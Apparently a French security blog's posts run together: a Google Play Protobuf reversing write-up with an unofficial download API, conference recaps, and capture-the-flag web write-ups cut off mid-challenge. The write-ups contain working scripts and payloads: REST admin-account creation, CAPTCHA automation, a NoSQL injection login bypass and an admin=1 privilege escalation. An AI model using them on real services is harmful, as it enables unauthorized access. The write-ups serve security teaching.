This article first highights the limitations of existing projects. Then it focuses on the official Android client for Google Play and its internals, based on a Protobuf variant. Thanks to Androguard and its awesome static analysis features, I show how to automatically recover the .proto file of Google Play, enabling us to generate stubs for querying Google’s servers. Finally, I quickly introduce the unofficial API.

Existing projects

Google Play can be queried in two ways: using the official website or the Android client. The website contains pretty much all the useful information, such as app name and developer name, comments, last version number and release date, permissions required by the app, statistics, etc. I guess one could build a simple program that queries this website and parses the pages, but it would still have one limitation: you simply cannot download apps. Well, you can, but for this you will need an actual compatible phone, and as soon as you perform the install request, the application will get downloaded and installed on your phone. Then if you want to retrieve it in order to analyse it, you must plug in your phone and use adb pull. Some managed to get Google Play run within the emulator, but this is still a bit complicated and not straightforward: you need Java, Android SDK, customize your emulator ROM to embed Google Play, and script everyting yourself.

The main project I have been looking at is android-market-api, written in Java. Actually, I am a Python fan, and played much more with its Python equivalent. The goal of those projects is to simulate the network activity generated by the Android client, query Google Play servers, and parse the result. The underlying protocol used by Google Play is based on Google’s Protocol Buffers, aka Protobuf. For those who do not know, this library provides a way to encode messages in binary, compact blobs before sending them on the network, and decode them on the other side. The documentation contains plainty of details on the actual encoding format, so I won’t cover it. The only important thing to know about Protobuf is that it is much easier to decode messages if you know the structure of exchanged messages. Messages are composed of fields, each one having a tag, a name and a type. When encoded, a message embeds the tag, value and type (only basic types, or a generic « message » type) of each field, but not their names. Therefore, the semantics of each field must be guessed, and that is not always easy.

When Google Play Android client is able to query Google’s servers and download APKs, all network communications are done with Protobuf and HTTP(S). The underlying Protobuf file used by the unofficial API projects (and based on Android Market) has been published as a .proto file. The unofficial API can forge some of those requests and interpret results. While playing with them, I have managed to search Android apps, but I could not always download them. Indeed, this version of the API requires a numeric « assetId » corresponding to the app you want to download. When trying to get appropriate assetIds using other API methods such as search(), I got non-numeric values, such as: v2:com.fankewong.angrybirdsbackup2sd:1:4. This type of value is rejected by Google Server when trying to download the app. Too bad…

A first look at Google Play Android client

The weird thing is that the non-numeric assetId problem occurs quite often, but not on all apps. I guess this is because Google updated their API when they switched to Google Play; those projects are using the old version of the API. The only way to have up-to-date information and be able to download any app would then be to analyse the updated Android client, and adapt existing projects.

Here we go! We retrieve com.android.vending-1.apk from an up-to-date Android phone using adb, and we use our favorite Android RE tools. A first look at class names highlights a pretty explicit VendingProtos class, under the com.google.android.vending.remoting.protos package. It contains references to a package named com.google.protobuf.micro, embedded within the app. This package contains classes used to encode and decode messages. It is actually part of a public project, named micro-protobuf, which is a lightweight version of Protobuf. However, the underlying protocol remains the same.

Most of network traffic is sent using HTTPS. After installing our own on CA onto the phone and setting up an interception proxy like Burp, we can sniff traffic. From a black-box approach, the exchanged data looks like a binary stream:

Capturing a Protobuf response with Burp

All we need now is the .proto file of Google Play to be able to decode it. But how can we get this file? It is unfortunately not embedded within the app, so we have to find another way. A paper and a tool have been published on the subject, but work only when the studied app or program embeds some kind of metadata, used by reflection features of Protobuf. This metadata is generally embedded in regular stubs generated with Google’s standard protobuf compiler called protoc. However, this is not the case here since the Protobuf stubs embedded within Google Play Android client were not compiled with standard protoc. Micro-protobuf seems to remove this metadata, probably to make protocol reversing harder.

Anyway, is there a way to guess the structure of exchanged messages, just by having a look at the decompiled Java code of the app? Let’s go back to the VendingProtos class. It is contains many subclasses, among which one named AppDataProto:

public static final class AppDataProto extends MessageMicro
{
  private int cachedSize = -1;
  private boolean hasKey;
  private boolean hasValue;
  private String key_ = "";
  private String value_ = "";

  [...]

  public AppDataProto mergeFrom(CodedInputStreamMicro 
                                paramCodedInputStreamMicro)
    throws IOException
  {
    while (true)
    {
      int i = paramCodedInputStreamMicro.readTag();
      switch (i)
      {
      default:
        if (parseUnknownField(paramCodedInputStreamMicro, i))
          continue;
      case 0:
        return this;
      case 10:
        String str1 = paramCodedInputStreamMicro.readString();
        AppDataProto localAppDataProto1 = setKey(str1);
        break;
      case 18:
      }
      String str2 = paramCodedInputStreamMicro.readString();
      AppDataProto localAppDataProto2 = setValue(str2);
    }
  }

  public AppDataProto setKey(String paramString)
  {
    this.hasKey = 1;
    this.key_ = paramString;
    return this;
  }

  public AppDataProto setValue(String paramString)
  {
    this.hasValue = 1;
    this.value_ = paramString;
    return this;
  }

  [...]
}

We can guess that this class represents a Micro-Protobuf message (the extends MessageMicro part) and that it has two string fields: key and value. Their tag can be extracted from the mergeFrom() method, which aims at decode incoming binary messages. It is composed of a main loop (while(true)) and a switch statement. Each case – except the first and second ones – corresponds to a field. The value of each case is actually the binary representation of the tag and type of the field. Everything is in the documentation; to skip the details, the actual value of each case is equal to (tag << 3) | type. For instance, 10 stands for tag 1, type 2 (string). 18 means tag 2, string. Thus, the actual .proto file looks as follows:

message AppDataProto {
  optional string key = 1;
  optional string value = 2;
}

Actually type 2 is not exactly « string », but any length-delimited field. It could be a string, a series of bytes, or an embedded message itself. In that case, the code looks like this:

case 26:
  VendingProtos.AppDataProto localAppDataProto = new VendingProtos.AppDataProto();
  paramCodedInputStreamMicro.readMessage(localAppDataProto);
  DataMessageProto localDataMessageProto2 = addAppData(localAppDataProto);
  break;

This field has a tag equal to 3 (26 >> 3) and is a message which name is AppDataProto. In order to get this sub-message structure, we would have to repeat the analysis process to the corresponding class, and so on.

Automatic analysis

We now have a way of recovering a message structure by analyzing the generated code. All we need now is automating the process. For this, we can use Androguard, a multi-purpose framework intended to make Android reversing easier. With Androguard, we can simply open an APK, decompile it, parse its Dalvik code, and do all sorts of things. Once installed, one can use the provided androlyze tool to dynamically interact with the framework, and then write a script to automate everything.

Androguard lets us easily browse the available classes and find those that extends MessageMicro.

In [1]: apk = APK('com.android.vending-1.apk')
In [2]: dvm = DalvikVMFormat(apk.get_dex())
In [3]: vma = uVMAnalysis(dvm)
In [4]: proto_classes = filter(lambda c: "MessageMicro;" in c.get_superclassname(), dvm.get_classes())
In [5]: proto_class_names = map(lambda c: c.get_name(), proto_classes)

Then we extract the mergeFrom() method of each class by filtering the method list generated by dvm.get_methods_class(class_name). The basic block list of each method can be obtained with vma.get_method(m).basic_blocks.gets().
The first is usually the one that implements the switch instruction. In Dalvik, a switch is often represented as a sparse-switch instruction, which operand is a table composed of a list of values and offsets, called sparse-switch-payload. Here is an example:

invoke-virtual v3, Lcom/google/protobuf/micro/CodedInputStreamMicro;->readTag()I
move-result v0
sparse-switch v0, +52 (0xa4)
[...]
sparse-switch-payload sparse-switch-payload 0:9 a:a 12:12 1a:1a 22:22 2a:2a 32:32 3a:3a 42:42 4a:4a

Each (value, offset) tuple correspond to a case of the switch; if the value matches the compared register, then the execution continues to the corresponding offset. Once we are able to browse each case of the switch (and its target basic block), we can determine the name of each field and its type by examining the name of the corresponding accessors. For instance, here is a typical basic block:

invoke-virtual v3, Lcom/google/protobuf/micro/CodedInputStreamMicro;->readString()Ljava/lang/String;
move-result-object v1
invoke-virtual v2, v1, L[...]AddressProto;->setCity(Ljava/lang/String;)L[...]AddressProto;
goto -25

Each basic block contains two accessor calls: readXXX() and setYYY(). Their goal is to read an incoming series of bytes and initialize one field of the message. XXX corresponds to the type of the field (here, string), and YYY to its name (city).

The simplified analysis algorithm looks like:

for each class that extends MessageMicro:
  get its mergeFrom() method
    find the sparse-switch instruction
    get the corresponding sparse-switch-payload
    index all values and offsets in a dict
    for each value, offset:
      tag = value >> 3
      get the target basic block using the offset
      find readXXX() and setYYY() calls
      type = XXX
      name = YYY
      index the tuple (tag, type, name)

Then we only need to format the output in order to generate a parsable .proto file, dealing with nested messages and groups among other things.

I called the resulting script androproto.py. It is released with the API code; feel free to play with it. It is able to analyze the target app and print the recovered Profotuf file. I apologize for the dirty code; since Google Play is the only app using Micro-Protobuf that I’ve analyzed, this script is pretty specific. But it should work with any app using this library, with a few changes. Its output on Google Play app looks like this:

message AckNotificationResponse {
}
message AndroidAppDeliveryData {
  optional int64 downloadSize = 1;
  optional string signature = 2;
  optional string downloadUrl = 3;
  repeated AppFileMetadata additionalFile = 4;
  repeated HttpCookie downloadAuthCookie = 5;
  optional bool forwardLocked = 6;
  optional int64 refundTimeout = 7;
  optional bool serverInitiated = 8;
  optional int64 postInstallRefundWindowMillis = 9;
  optional bool immediateStartNeeded = 10;
  optional AndroidAppPatchData patchData = 11;
  optional EncryptionParams encryptionParams = 12;
}
message AndroidAppPatchData {
  optional int32 baseVersionCode = 1;
  optional string baseSignature = 2;
  optional string downloadUrl = 3;
  optional int32 patchFormat = 4;
  optional int64 maxPatchSize = 5;
}
[...]

The resulting output is almost usable with protoc. Almost, because there is a duplicate message that you need to manually remove in order to make protoc happy. But after taking care of that detail, you have a working googleplay.proto that you can use to generate C++, Java and Python stubs for querying Google Play API!

Building Google Play Unofficial Python API

In order to parse Google Play protobuf messages, we dump each server response intercepted with Burp into a file, an use:

protoc --decode=ResponseWrapper googleplay.proto < dump.bin

ResponseWrapper is the root message type; it can be easily guessed by looking at the message names. Once we have a clue of what’s received by the application, we can start building our own API. Since we need a valid auth token from Google server, we need first to authenticate. I simply reused the code from android-market-api-py. Once logged in, we need to deal with protobuf traffic. For most of API requests, the Android client does not send protobuf messages, but only simple GET or POST requests, such as search?c=3&q=%s. In order to parse Protobuf responses, we use the generated Python module (googleplay_pb2):

message = googleplay_pb2.ResponseWrapper.FromString(data)

The resulting message can be browsed like a regular Python object. For some API methods, Google servers also return some prefetch data. A prefetch element contains a URL and raw data. It acts like a cache and can be dealt with pretty easily with a few lines of code.

The final API is pretty straightforward to use. Just follow the README. First make sure to edit googleplay.py and insert your phone’s androidID, then supply your Google credentials in config.py. You can use the provided scripts, producing CSV output, and prettify them with pp. Sorry for the following truncated output due to this blog…

$ alias pp="column -s ';' -t"  # pretty-print CSV

$ python search.py earth | pp
Title                           Package name                            Creator                  Super Dev  Price    Offer Type  Version Code  Size     Rating  Num Downloads
Google Earth                    com.google.earth                        Google Inc.              1          Gratuit  1           53            8.6MB    4.46    10 000 000+
Terre HD Free Edition           ru.gonorovsky.kv.livewall.earthhd       Stanislav Gonorovsky     0          Gratuit  1           33            4.7MB    4.47    1 000 000+
Earth Live Wallpaper            com.seb.SLWP                            unixseb                  0          Gratuit  1           60            687.4KB  4.06    5 000 000+
Super Earth Wallpaper Free      com.mx.spacelwpfree                     Mariux                   0          Gratuit  1           2             1.8MB    4.41    100 000+
Earth And Legend                com.dvidearts.earthandlegend            DVide Arts Incorporated  0          5,99 €   1           6             6.8MB    4.82    50 000+
Earth 3D                        com.jmsys.earth3d                       Dokon Jang               0          Gratuit  1           12            3.4MB    4.05    500 000+
[...]

$ python categories.py | pp
ID                   Name
GAME                 Jeux
NEWS_AND_MAGAZINES   Actualités et magazines
COMICS               BD
LIBRARIES_AND_DEMO   Bibliothèques et démos
COMMUNICATION        Communication
ENTERTAINMENT        Divertissement
EDUCATION            Enseignement
FINANCE              Finance

$ python list.py 
Usage: list.py category [subcategory] [nb_results] [offset]
List subcategories and apps within them.
category: To obtain a list of supported catagories, use categories.py
subcategory: You can get a list of all subcategories available, by supplying a valid category

$ python list.py WEATHER | pp
Subcategory ID            Name
apps_topselling_paid      Top payant
apps_topselling_free      Top gratuit
apps_topgrossing          Les plus rentables
apps_topselling_new_paid  Top des nouveautés payantes
apps_topselling_new_free  Top des nouveautés gratuites

$ python list.py WEATHER apps_topselling_free | pp
Title                  Package name                                  Creator          Super Dev  Price    Offer Type  Version Code  Size    Rating  Num Downloads
La chaine météo        com.lachainemeteo.androidapp                  METEO CONSULT    0          Gratuit  1           8             4.6MB   4.38    1 000 000+
Météo-France           fr.meteo                                      Météo-France     0          Gratuit  1           11            2.4MB   3.63    1 000 000+
GO Weather EX          com.gau.go.launcherex.gowidget.weatherwidget  GO Launcher EX   0          Gratuit  1           25            6.5MB   4.40    10 000 000+
Thermomètre (Gratuit)  com.xiaad.android.thermometertrial            Mobiquité        0          Gratuit  1           60            3.6MB   3.78    1 000 000+

$ python permissions.py com.google.android.gm
android.permission.ACCESS_NETWORK_STATE
android.permission.GET_ACCOUNTS
android.permission.MANAGE_ACCOUNTS
android.permission.INTERNET
android.permission.READ_CONTACTS
android.permission.WRITE_CONTACTS
android.permission.READ_SYNC_SETTINGS
android.permission.READ_SYNC_STATS
android.permission.RECEIVE_BOOT_COMPLETED
[...]

$ python download.py com.google.android.gm
Downloading 2.7MB... Done

$ file com.google.android.gm.apk 
com.google.android.gm.apk: Zip archive data, at least v2.0 to extract

Conclusion

Although there is no metadata within Micro-Protobuf applications, recovering .proto files is still doable and it can still be done automatically. The lack of obfuscation is clearly an advantage for an attacker, since all class and method names are easy to understand. Having a non-official Google Play API is handy for many reasons: performing statistics that aren’t available on the official front-end, looking for plagiarism, automatic malware search / downloading / analysis (Androguard to the rescue)… Feel free to browse the source, fork the project, and improve it!

Comme certains l’auront sans doute remarqué, j’ai participé à l’élaboration du programme des conférences de l’événement Hack In Paris, qui s’est déroulé la semaine dernière au centre de conférences de Disneyland Paris. N’ayant pas trop participé à l’organisation le jour J, je dois dire que pour une première édition, je suis très satisfait du résultat !

Comme HES, et contrairement au SSTIC, HIP se veut international et est donc exclusivement anglophone. L’événement était composé de 2 jours de formations – Win32 exploit development par Peter Van Eeckhoutte et IPv6 Security par Fernando Gontt – et 2 jours de conférences. Étant donné qu’il avait lieu en pleine semaine, je n’ai pu assister qu’aux conférences. Voici un petit résumé de la plupart d’entre elles pour ceux qui n’ont pas suivi le live-tweet…

• Cyberwar-4G aka The Coming Smart Phone Wars, par Winn Schwartau. Bonne keynote où l’on fait le tour de tous les problèmes et menaces représentées par les smartphones et autres tablettes, vis à vis de la volonté des constructeurs de préserver le cool factor de leur produit. Bref, tout ce qu’il faut pour considérer ces devices comme un security nightmare…
• Locking the Throne Room – ECMA Script 5, a frozen DOM and the eradication of XSS, où Mario Heiderich revisite le Cross-Site Scripting, et plus particulièrement les DOM XSS, qui restent méconnues. Il s’intéresse en particulier aux bugs des derniers moteurs de parsing des navigateurs, et à leur exploitation pour trouver des vecteurs XSS assez atypiques. Après avoir exposé sa vision assez novatrice (du moins à mon avis) selon laquelle le problème des XSS ne se situe non pas du côté du serveur mais du client, il expose sa solution pour éradiquer les XSS côté client : l’utilisation des fonctionnalités d’ECMAScript 5. En effet, cette version propose une méthode (Object.defineProperty()) permettant de surcharger toute propriété JavaScript et ce de façon définitive, pouvant être utilisée pour rendre les objets DOM tamper-resistant. Ce genre de protection pourrait être appliquée dans les cas où la présence d’une DOM XSS serait catastrophique, comme pour la Stanford JS Crypto Library, ou encore… BeEF (et même XeeK !). Bref, un super talk agrémenté de pas mal de démos de XSS en utilisant une astucieuse page Web permettant de tester rapidement de nouveaux vecteurs. Les slides sont dispos ici.
• Be a smart CISO, learn about people, par Bruno Kerouanton. Conférence à l’intention des RSSI, qui dresse un petit tour d’horizon des différentes techniques permettant de mettre toutes les chances de son côté pour convaincre ses collègues de l’importance de la sécurité. Qui a dit que le Social Engineering était inutile ?
• « Project Quebec » and win32 exploit development with pvefindaddr : Peter Van Eekhoutte annonce officiellement la sortie du nouveau remplaçant de pvefindaddr : mona. Pour ceux qui ne connaissent pas, il s’agit d’un plugin pour Immunity Debugger permettant d’automatiser la conception d’exploits pour Windows. Excellente présentation, liant technique et humour, dosées comme il se doit. Voici les slides.
• Offensive XSLT, où Nicolas Grégoire démontre les « fonctionnalités » dangereuses de XSLT permettant d’accéder au système de fichiers de la cible, voire l’exécution de code. Quelques démos de pwning en règle viennent agrémenter la théorie. Ce qui fait peur, c’est que ces moteurs sont utilisés dans de gros produits, tels que Liferay, Webkit, PHP5 et Gnome. Et ce qui fait encore plus peur, c’est la réaction des équipes des projets en question suite à l’annonce (responsable) des vulnérabilités. It’s not a bug, it’s a feature…
• Agnitio: the security code review Swiss army knife. David Rook expose sa vision de la revue de code : il ne s’agit pas de lire le maximum de lignes de code en un minimum de temps, mais d’éduquer les développeurs pour leur éviter de commettre les mêmes erreurs à l’avenir. Il présente alors Agnitio, un outil libre permettant de générer des checklists à suivre lors de la revue de code. Plutôt sympa. Slides dispos ici.
• Pentesting iPhone and iPad Applications. Sébastien Andrivet et Flora Bottaccio présentent les techniques et outils d’analyse d’applications iPhone & iPad, et en particulier le reverse-engineering et l’analyse de trafic réseau. Ils dressent un état de l’art, proposent une méthodologie d’audit applicatif, et présentent deux outils réalisés par leur soin : ADVsock2pipe et ADVInterceptor. Quelques démos de vulnérabilités touchant des applications réelles sont présentées, et on retrouve les usual suspects traditionnels : mots de passe stockés en clair sur disque (ou mieux, en base64…), communications non chiffrées, etc. État de l’art très intéressant quand on n’a jamais touché ce genre de plateforme, et qui confirme ce que disait Winn dans sa keynote : la sécurité actuelle des mobiles est un énorme #fail.
• Skyrack : ROP for masses. Jean-Baptiste Aviat présente son outil de conception assistée d’exploits utilisant le Return Oriented Programming pour contourner les protections du style NX/XD (DEP sous Windows). Skyrack est basé sur Metasm et supporte à la fois les binaires PE, ELF et Mach-O, ainsi que les architectures Intel 32 et 64 bits pour le moment. Le fonctionnement de l’outil a l’air assez similaire à Ropme, avec en plus des opérateurs de recherche avancés sont également disponible afin d’imposer par exemple la préservation de certains registres. Skyrack étant scriptable, il ressemble plus à un framework de conception d’exploit qu’à un outil de génération purement automatique.
• The forbidden image – Security impact of SVF on the WWW. Dans sa deuxième conférence, Mario Heiderich présente les dangers dus à l’utilisation du format  Scalable Vector Graphics intégré aux pages Web. Et comme il l’a si bien dit, les SVG ne devraient pas être considérés comme des images, mais plutôt des minis applications ! En effet, ceux-ci supportent entre autres l’inclusion d’objets arbitraires, tels que des PDF, applets Java ou Flash… et bien entendu, les traditionnels scripts JavaScript. De quoi rallonger la liste des vecteurs XSS de sa précédente conf . Plusieurs démos sont faites, dont une assez impressionnante où il parvient à ouvrir une vidéo Youtube par l’intermédiaire d’un PDF embarqué dans une favicon en SVG. Il aborde aussi le problème des local SVG, qui consistent à embarquer dans une page Web une image SVG comportant du JS faisant référence à des fichiers locaux. Si le visiteur enregistre l’image sur son disque et l’ouvre, le code JS a alors accès aux fichiers de tous les sous-dossiers… Sans parler des bugs de parsing propres à chaque navigateur. Aucune librairie de filtrage n’étant disponible à l’heure actuelle, l’auteur termine par exposer son projet SVGPurifier dont le nom est assez explicite.
• Escaping Windows Sandboxes. Tom Keetch présente les méthodes utilisées pour contourner les sandboxes en mode utilisateur, et s’intéresse plus particulièrement au mode protégé d’IE9, ainsi qu’à Adobe Reader X et Chromium. Au programme : BNO namespace squatting, exploitation de l’interface NPAPI, des fuites de handles et attaques sur les presse-papiers.
• Proactive Network Security through Vulnerability Management, par Gary Miliefsky. Je n’ai malheureusement pas suivi cette conférence, trop occupé à revoir des amis de longue date…

En ce qui concerne l’organisation, il ne fait nulle doute que Disney était un bon choix. Cadre sympa, buffet à volonté, free coca, bonne salle (quoique l’isolation sonore était parfois limite), sans oublier les goodies. Bref, un retour plutôt positif pour une première édition. J’ai pris quelques photos qui sont disponibles sur ma galerie Picasa.

Je tiens à remercier toute l’équipe, et plus particulièrement les personnes du comité de programme qui ont permis de sélectionner des conférences de qualité. Espérons que ce soit encore mieux en 2012

Conférences

Côté conférences, je n’ai suivi que les quatre qui m’intéressaient le plus :

• Comment attaquer une place de Bourse en 30 minutes et comment se protéger ?, par Robert ERRA. N’étant pas financier, j’ai pu y découvrir le jargon associé à la bourse, ainsi que les joies du trading automatique et du Flash Crash survenu le 6 mai 2010. La conférence s’avère pessimiste (mais probablement, et malheureusement réaliste), et se termine par un petit débat annexe autour du Bitcoin dont on parle beaucoup ces derniers temps.
• Eloi Vanderbeken présente ensuite Génération et exploitation de traces. La problématique de la conférence est de déterminer l’origine des données manipulées par des programmes malveillants. Devant l’échec de l’analyse statique, l’auteur présente ses travaux d’instrumentation basés sur des outils comme Pin, développé par Intel. Très instructif, mais juste dommage qu’il n’y ait pas eu de démo.
• Dynamic Cryptographic Backdoors, présentée par Eric Filliol. Petit état de l’art quelque peu orienté (mais non moins intéressant) qui rappelle que la sécurité d’un algorithme n’est rien sans son implémentation, et que les standards officiels sont parfois dangereux si exploités par des malwares.
• Android Malwares: is it a dream?, par Anthony Desnos et Geoffroy Gueguen. Les auteurs commencent par présenter quelques malwares ciblant Android (dont DroidDream) ainsi que les exploits qu’ils utilisent pour s’octroyer les droits root. Dans une deuxième partie, ils mettent le doigt sur une des faiblesses principales de la plateforme de Google : l’incapacité à sécuriser convenablement les applications contre le reverse-engineering. Actuellement, les seuls outils existants se contentent d’obfusquer simplement les noms de classes, ce qui est de loin insuffisant. Quelques outils d’analyse sont présentés (backsmali, Dex2jar, Jd-GUI), pour terminer par Androguard, framework très prometteur.

Challenge Hacknowledge

Quant au challenge, celui-ci était plutôt inattendu. Outre les épreuves classiques du type web, reverse-engineering, réseau, crypto, et forensics, nous avions droit à toute une série d’épreuves de social engineering et même hardware (cf plus bas). J’ai laissé tout ça à mes coéquipiers, et me suis focalisé principalement sur le web et l’applicatif. Voici quelques résumés d’épreuves.

Web 1 – « Madame est servie »

Autant le dire tout de suite, aucun de nous n’a compris le titre de cette épreuve. Cependant, cela ne nous a pas empêché de la valider, mais après un certain temps. Une URL était fournie, ainsi qu’un fichier pcap. Celui-ci contenait une capture de 2 requêtes HTTP vers un web service retournant des informations en XML. La première requête, un GET sur la page /index.php/api/users, retournait la liste de tous les utilisateus enregistrés dans la base :

<?xml version="1.0" encoding="utf-8"?>
<xml>
 <item>
 <username>lupin</username>
 <password>*********</password>
 <email>lupin@poudlard.net</email>
 <admin>0</admin>
 </item>
 <item>
 <username>hermione</username>
 <password>*********</password>
 <email>hermione@poudlard.net</email>
 <admin>0</admin>
 </item>
...

La deuxième capture montrait un POST sur /index.php/api/validate, avec les données suivantes :

token=Z2lubnk6Nzg0NTFiMjAxMDQ0ZTZlMzUxNTg1NWFjMGZlZjZhNGY=

Le résultat était alors :

<?xml version="1.0" encoding="utf-8"?>
<xml><error>User must be admin...</error></xml>

Aucune consigne n’était donné, mais nous en avons conclu que le but était alors de se connecter en administrateur sur le Web service.

Nous avons commencé par premarquer que le token était encodé en base64, et donnait la chose suivante une fois décodé :

ginny:78451b201044e6e3515855ac0fef6a4f

Cela ressemble étrangement à un couple login:password, ce dernier étant hashé en MD5. Peu importe sa valeur, puisque ledit utilisateur n’est pas admin. Mais au moins, on sait désormais comment dialoguer avec le web service.

Après avoir passé pas mal de temps à tenter des injections dans tous les champs POST (avec et sans XML), nous avons obtenu un indice intéressant : il s’agit d’un Web service RESTful http://en.wikipedia.org/wiki/Representational_State_Transfer#RESTful_web_services. Autrement dit, il supporte les méthodes GET et POST, mais également PUT et DELETE. Celles-ci permettent de lire, créer, modifier et supprimer des objets sur le serveur. Comme notre but est de nous connecter en administrateur, nous pouvons utiliser la méthode PUT pour créer un utilisateur administrateur, et nous y connecter ensuite avec ce nouveau compte. Voici le code Python correspondant.

import base64
import httplib

# Ajout d'un compte
conn = httplib.HTTPConnection("192.168.0.208")
headers = {"Content-type": "application/x-www-form-urlencoded"}
conn.request( "PUT",
 "/index.php/api/users",
 "username=greg_evans&password=hzv_r0x&email=toto@kikoo.lol&admin=1",
 headers)

"""
On obtient l'affichage suivant :
<?xml version="1.0" encoding="utf-8"?>
<xml><success>User inserted successfully!</success></xml>
"""

# Connexion avec ce compte
conn.request( "POST",
 "/index.php/api/validate",
 "token="+base64.b64encode("greg_evans:1bc06f78a82e5c7eb6521fc50e87a258"),
 headers)
"""
<?xml version="1.0" encoding="utf-8"?>
<xml>
 <status>success</status>
 <description>
 Bien joue, vous avez resolu cette epreuve !
 </description>
 <code>ROBBIE_THE_RETURN</code>
</xml>
"""

On notera que la méthode PUT est normalement utilisée pour mettre à jour et non pour ajouter un objet à une collection. En tout cas notre solution fonctionne et nous a permi de récupéré le flag pour valider l’épreuve.

Web 2 – Captcha textuel

La deuxième épreuve consistait à soumettre 5 fois de suite un formulaire web comportant un CAPTCHA implémenté sous la forme d’une question à laquelle 6 réponses étaient possibles. En réactualisant la page, on se rend compte qu’il y a à peine une quinzaine de questions différentes. Aussi il est possible d’automatiser les requêtes en se constituant d’un dictionnaire de mot-clé et des réponses associées. La seule difficulté à laquelle j’ai fait face venait de l’utilisation des cookies, alors que j’utilisais le module Python urllib2, qui les gère assez mal (surtout comparé à httplib). Là encore je n’ai pas le code source de l’épreuve, mais voici pour information le code qui nous a permis de la valider :

import httplib

soluce = {
 "serpent" : "reptile",
 "chiot" : "canin",
 "toutou" : "canin",
 "pigeon": "oiseau",
 "papillons" : "insecte",
 # ...
 }

URL = "/6f503c90-8877-11e0-9d78-0800200c9a66"
cookie = ""

for i in range(5):

 headers={}

 if cookie!="":
 headers["Cookie"] = "PHPSESSID="+cookie

 conn = httplib.HTTPConnection("192.168.0.207")
 conn.request("GET", URL+"/inscription.php", None, headers)
 r = conn.getresponse()

 try:
 cookie = r.getheader("Set-Cookie").split("=")[1].split(";")[0]
 print cookie
 except:
 pass

 t = r.read()
 #print t

 reponse =""
 for m, r in soluce.items():
 if m in t:
 reponse = r

 print "===> reponse : ",reponse

 conn = httplib.HTTPConnection("192.168.0.207")
 headers = {"Content-type": "application/x-www-form-urlencoded",
 "Accept": "text/plain", "Cookie": "PHPSESSID="+cookie}
 conn.request( "POST",
 URL+"/valider.php",
 "nom=aaaaaaaaa&prenom=aaaaaa&email=toto%40gmail.com"+
 "&valider=Valider&mot="+reponse,
 headers)
 t = conn.getresponse().read()

 print t

 if "Erreur" in t:
  break

Après 5 CHAPTCHAs validés, le flag de l’épreuve s’affiche sur la page.

Web 3 – « In The Clouds »

Dans cette épreuve, on a affaire à un site complet ayant pour thème le Cloud Computing, ce qui constitue d’après le staff un bon indice concernant l’épreuve. N’étant pas très au fait sur le sujet, je commence donc par arpenter le site, et repérer des éventuels paramètres GET/POST susceptibles d’être mal filtrés. Une des pages possède le paramètre GET « cat » qui permet de sélectionner la catégorie des articles à afficher. Après moultes tentatives d’injections SQL, XSS et autres, rien ne passe. Idem en ce qui concerne le formulaire POST de login/mot de passe pour la partie utilisateur. Je jette un coup d’œil aux en-têtes, et je m’aperçois qu’il y a un cookie qui contient des données ressemblant étrangement à un objet PHP sérialisé. Un petit coup de unserialize(), et je constate qu’il s’agit d’un tableau de session PHP. Je tente alors d’injecter des données dans chacun des champs du tableau, mais en vain. Un petit coup de Dirbuster sur le site, ainsi qu’un rapide passage d’Acunetix, mais toujours rien. Damned…

Il nous a fallu un certain temps avant de nous rendre compte que la page « Mentions légales » du site comportait une information essentielle, en indiquant que le site était réalisé avec le CMS Codeignitier et le DBMS MongoDB. Un petit coup de Google sur différents exploits sortis pour Codeignitier, et on tombe sur quelques Includes() et XSS. Mais rien d’exploitable à priori. Concernant MongoDB, personne d’entre nous ne le connaissait. Il s’agit en fait d’un gestionnaire de BDD qui, selon Wikipédia, est « orienté document » , scalable (d’où le « cloud »), sans schéma, et dont les données sont au format JSON. Le point le plus intéressant est que ce DBMS utilise non pas SQL mais du NoSQL. Ce langage, utilisé par Facebook (avec sa BDD Cassandra) ou encore Google (BigTable) diffère du SQL dans la mesure où il permet de traiter des données au format différent des BDD relationnelles classiques.

Quel rapport avec la sécurité ? Sur des BDD NoSQL, les injections SQL classiques sont inefficaces. Cependant, il est possible dans certains cas d’effectuer des Injections NoSQL, qui sont plus ou moins l’équivalent. Ces dernières exploitent des particularités du langages, et particulièrement le typage des variable. Dans notre cas, nous voudrions exploiter le formulaire de login ; nous connaissons notre login (hzv) mais pas le mot de passe. Le code PHP simplifié coté serveur ressemble à :

$users->find(array(
"username" => $_GET['username'],
"passwd" => $_GET['passwd']
));

Effectuer une requête du type login=hzv&pass=1' or 1=1 ne servirait à rien dans un cadre de BDD NoSQL, aussi la syntaxe à utiliser est la suivante :

login=hzv&pass[$ne]=1

En PHP, une variable suivie par des crochets est automatiquement castée en tableau, aussi $_GET['pass'] va devenir :

Array(
  '$ne' => 1
)

Appliquée dans le cadre d’une requête, ce tableau fait office de condition sur le champ ‘passwd’, l’opérateur $ne signifiant « pas égal ». Du coup, la requête sélectionne les utilisateurs dont le login est hzv, et le mot de passe différent de 1. On se retrouve logué automatiquement sur le portail. Cas d’école, mais encore fallait-il y penser…

A partir du portail, nous souhaitons nous octroyer les droits admin. Des formulaires sont disponibles pour poster des catégories et articles, mais sont inutiles. Celui qui semble le plus logique à triturer est celui qui permet d’éditer son profil en changeant son login, mot de passe, email, etc. Mais pas de champ permettant de modifier le statut utilisateur / administrateur. Là, en me rappelant la 1ère épreuve, je tente de rajouter un &admin=1 dans les données POST envoyées, et ça marche . Notre utilisateur est désormais admin, et on obtient le flag de validation. Gros coup de chance ? Peut-être…

Web 5 – « Jeux thons »

Seule information donnée : une URL, http://192.168.0.207/token/hash/. En arrivant dessus, on se tape une erreur 401 « Authorization Required » sans plus d’explications. On a alors l’idée de remonter au dossier parent, et on tombe sur un directory listing avec un fichier error.log. Celui-ci contient les erreurs Apache générées en direct. On tente d’injecter du code PHP via l’URL de la 1ère page pour qu’il se retrouve dans le log, mais sans effets car les fichiers .log ne sont pas interprétés par Apache, et aucune faille de type Include n’est présente autre part ailleurs sur le serveur.

En inspectant de plus près le fichier error.log, on remarque qu’un message particulier est généré à chaque erreur 401, et fait référence à un certain mod_auth_token. Google to the rescue, on tombe sur la documentation du module Apache correspondant. Ce module permet de générer des liens uniques permettant d’accéder à un fichier de façon temporaire, un peu comme sur les services du style Megaupload. L’URL générée pour un fichier est du type :

uri-prefix/token/timestamp-in-hex/rel-path

En ce qui nous concerne, uri-prefix vaut /token/hash/. Il nous reste à calculer le token et le timestamp. Le timestamp est obtenu par un simple dechex(time()), et le token est généré à partir du nom du fichier, du timestamp et un secret partagé inconnu. Tentons d’accéder au fichier normalement situé à /token/hash/index.php, en générant le bon timestamp et un token foireux. On va donc sur une url du type :

/token/hash/57CA88C9F83CD5B8B4807BEE940B62EC/4de08b50/index.php

